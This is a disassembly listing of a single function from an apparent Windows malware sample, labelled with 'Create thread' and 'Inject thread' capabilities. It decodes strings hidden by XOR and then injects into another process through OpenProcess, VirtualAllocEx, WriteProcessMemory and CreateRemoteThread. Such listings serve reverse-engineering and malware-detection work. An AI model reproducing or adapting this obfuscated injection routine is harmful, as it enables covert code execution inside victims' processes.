Function at 0x140004dd0
Capabilities:
Create thread
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xor r12d, r12d
mov dword [rbp + 0x20], r12d
call fcn.1400047c0
test al, al
je 0x140005a01
mov qword [rbp - 0x40], 0x54
mov qword [rbp - 0x38], 0xd0006
mov dword [rbp - 0x30], 0x258
movabs rax, 0xf414ea51c8a75670
mov qword [rbp - 0x70], rax
movabs rax, 0x138448b64ad586d9
mov qword [rbp - 0x68], rax
movabs rax, 0x25e2818f85e5a545
mov qword [rbp - 0x60], rax
movabs rax, 0x63e0c89e6c853e85
mov qword [rbp - 0x58], rax
movabs rax, 0xfaba66fcd1697ffa
mov qword [rbp - 0x50], rax
movabs rax, 0xc6eeb63b958f7700
mov qword [rbp - 0x48], rax
movabs r13, 0xf477ea22c8c65633
mov qword [rbp + 0x30], r13
movabs rbx, 0x13e548df4ab186b8
mov qword [rbp + 0x38], rbx
movabs rsi, 0x258c81e085a8a565
mov qword [rbp + 0x40], rsi
movabs rdi, 0x6385c8cd6ca53eea
mov qword [rbp + 0x48], rdi
movabs rax, 0xfad566bed1007f97
mov qword [rbp + 0x50], rax
movabs rax, 0xc6eeb63b95eb776c
mov qword [rbp + 0x58], rax
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x50], xmm0
mov ecx, r12d
nop dword [rax + rax]
movzx eax, word [rbp + rcx - 0x70]
mov word [rbp + rcx - 0x2c], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140004f10
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea r8, [rbp - 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
lea rcx, [rbp - 0x70]
call fcn.140003940
nop
movabs rax, 0x91138447b8a3326f
mov qword [rbp + 0x80], rax
movabs rax, 0x668714ac2fd8e5d6
mov qword [rbp + 0x88], rax
movabs rax, 0x25e0ed84abccc90c
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdi
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], rdi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x90], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rax, [rbp + 0x80]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004fe0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x30]
call fcn.1400020f0
nop
lea r14, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r14, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x60]
call fcn.14000bb9c
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x14003c5e0]
movdqu xmmword [rsp + 0x58], xmm1
mov byte [rsp + 0x48], 0
mov dword [rbp + 0x20], 8
test rdi, rdi
je 0x1400050af
cmp rdi, 0x7fffffff
ja 0x140005a4a
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8d, edi
mov rdx, r14
mov ecx, eax
call fcn.14000bc0c
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140005a50
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rsp + 0x48]
call fcn.140008450
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova r9, qword [rsp + 0x48]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, r14
mov ecx, r15d
call fcn.14000bc0c
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140005a5c
lea r9, [rbp + 0x30]
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.14000a190
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140005100
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a66
call fcn.14000d14c
movdqa xmm0, xmmword [0x14003c5e0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000514e
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005149
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a6c
call fcn.14000d14c
mov rdi, qword [rsp + 0x78]
lea rbx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rbx, qword [rsp + 0x68]
call fcn.14000bb9c
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], rdi
lea r8, [rbp + 0x70]
mov edx, eax
lea rcx, [rbp + 0x30]
call fcn.140002f60
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rcx, qword [rbp + 0x30]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x80]
call fcn.14000be38
mov r8d, eax
test eax, eax
jne 0x1400051fb
mov edx, dword [rbp + 0x90]
test dl, 1
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rbp + 0x24], ecx
bt edx, 0xa
jae 0x1400051ed
mov eax, dword [rbp + 0x94]
cmp eax, 0xa000000c
jne 0x1400051df
lea eax, [r8 + 4]
jmp 0x14000521e
cmp eax, 0xa0000003
jne 0x1400051ed
mov eax, 0xa
jmp 0x14000521e
movzx eax, dl
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x14000521e
mov dword [rbp + 0x24], 0xffff
sub eax, 2
je 0x140005219
sub eax, 1
je 0x140005219
sub eax, 0x32
je 0x140005219
cmp eax, 0x46
mov eax, r12d
jne 0x14000521e
mov eax, 1
mov dword [rbp + 0x70], r8d
lea rcx, [0x140043d08]
mov qword [rbp + 0x78], rcx
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x80], xmm0
test eax, eax
je 0x140005310
cmp eax, 1
setne bl
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x140005287
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005282
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a72
call fcn.14000d14c
test bl, bl
je 0x140005778
movabs rax, 0x9a188350adb62f5b
mov qword [rbp + 0x20], rax
movabs rax, 0x138024aa2edeeb98
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x70], r13
movabs rdi, 0x13e548df4ab186b8
mov qword [rbp + 0x78], rdi
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x30]
call fcn.140003dc0
mov rcx, rax
lea rdx, [rbp + 0x20]
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x1400052e3
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400052fa
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140005320
lea rdx, [rbp + 0x20]
call fcn.14002fc60
test eax, eax
jne 0x140005320
mov bl, 1
jmp 0x140005322
xor bl, bl
test r8d, r8d
jne 0x140005a39
jmp 0x140005247
xor bl, bl
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000535d
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005358
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a78
call fcn.14000d14c
test bl, bl
je 0x140005977
movabs rax, 0x9827924da4a43961
mov qword [rbp + 0x80], rax
movabs rax, 0x72912d9d38d4ffd9
mov qword [rbp + 0x88], rax
movabs r15, 0x258c81e0e0d0c04b
mov qword [rbp + 0x90], r15
movabs r14, 0x6385c8cd6ca53eea
mov qword [rbp + 0x98], r14
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rdi
movabs rax, 0x258c81e085a8a565
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x90], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rax, [rbp + 0x80]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140005404
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x30]
call fcn.1400020f0
nop
lea rcx, [rbp + 0x30]
call fcn.140004ae0
mov rbx, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140005466
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005461
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a7e
call fcn.14000d14c
test rbx, rbx
je 0x140005977
movabs rax, 0x981b8349a3b53747
mov qword [rbp + 0x80], rax
movabs rax, 0x338821f06ad7a998
mov qword [rbp + 0x88], rax
movabs rax, 0x76ebeab0f5c5ca26
mov qword [rbp + 0x90], rax
movabs rax, 0x6385adb5098b4898
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rdi
movabs rbx, 0x258c81e085a8a565
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x80]
call fcn.1400165f0
movabs rax, 0x9b34ca56baa72240
mov qword [rbp + 0x80], rax
movabs rax, 0x65971bb821e1f6d5
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r14
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x80]
call fcn.1400165f0
movabs rax, 0xa7108172b8ab3970
mov qword [rbp + 0x20], rax
movabs rax, 0x13e52da72f9ff0ca
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], rdi
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rax, [rbp + 0x20]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400055c0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x30]
call fcn.1400020f0
nop
lea rcx, [rbp + 0x30]
call fcn.140004ae0
mov r8, rax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000562f
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000562a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a84
call fcn.14000d14c
movdqa xmm0, xmmword [0x14003c5e0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
test rbx, rbx
je 0x140005977
movabs rax, 0x8615836eaca7397f
mov qword [rbp + 0x70], rax
movabs rax, 0x13e548df0bc8f4d9
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], rdi
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x70], xmm0
movabs rax, 0xc6448647a6b43358
mov qword [rbp + 0x20], rax
movabs rax, 0x13e548df26dde296
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], rdi
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
mov r8, rsi
inc r8
cmp byte [rcx + r8], 0
jne 0x1400056e3
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x68]
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
cmova rcx, rax
nop
inc rsi
cmp byte [rcx + rsi], 0
jne 0x140005720
lea r8, [rsp + 0x68]
cmp rdx, 0xf
cmova r8, rax
mov qword [rsp + 0x20], r12
mov r9, rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rdi
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005977
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
movabs rax, 0x9a1e8256adab3940
mov qword [rbp + 0x30], rax
movabs rax, 0x7c973fff39d8a6df
mov qword [rbp + 0x38], rax
movabs rax, 0x5e4f589f288c20b
mov qword [rbp + 0x40], rax
movabs rax, 0xde0aca309d55b8e
mov qword [rbp + 0x48], rax
movabs rax, 0x9fa74692a26516f4
mov qword [rbp + 0x50], rax
movabs rax, 0xa386c21bfb9e0541
mov qword [rbp + 0x58], rax
movabs rax, 0x13d725fd40a5f3d9
mov qword [rbp + 0x60], rax
movabs rax, 0xafa50a89cde4a0d0
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], r13
movabs rbx, 0x13e548df4ab186b8
mov qword [rbp + 0x88], rbx
movabs rdi, 0x258c81e085a8a565
mov qword [rbp + 0x90], rdi
movabs r14, 0x6385c8cd6ca53eea
mov qword [rbp + 0x98], r14
movabs rax, 0xfad566bed1007f97
mov qword [rbp + 0xa0], rax
movabs rax, 0xc6eeb63b95eb776c
mov qword [rbp + 0xa8], rax
movabs rax, 0x61b2519c24d586f9
mov qword [rbp + 0xb0], rax
movabs rax, 0xafa50a89cde4a0fe
mov qword [rbp + 0xb8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x30]
lea rcx, [0x1400444d0]
call fcn.140001e40
mov rcx, rax
lea rdx, [0x14003c458]
call fcn.140001e40
movabs rax, 0x9a12ca51bba32443
mov qword [rbp + 0x80], rax
movabs rax, 0x70c527ab6ac3e3cc
mov qword [rbp + 0x88], rax
movabs rax, 0x258c81cee0dbca09
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], r14
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x90], xmm1
lea rdx, [rbp + 0x80]
lea rcx, [0x1400444d0]
call fcn.140001e40
mov rcx, rax
lea rdx, [0x14003c458]
call fcn.140001e40
call fcn.140005a90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400059b3
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a8a
call fcn.14000d14c
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140005a01
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a33
call fcn.14000d14c
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.14000d0f0
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140013dec
nop
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x80]
call fcn.1400038e0
nop
call fcn.140002820
int3
shr rbx, 0x20
mov ecx, ebx
call fcn.140002a10
int3
shr rcx, 0x20
call fcn.140002a10
nop
call fcn.140013dec
nop
call fcn.140013dec
int3
call fcn.140013dec
int3
call fcn.140013dec
int3
call fcn.140013dec
int3
call fcn.140013dec
nop
call fcn.140013dec
int3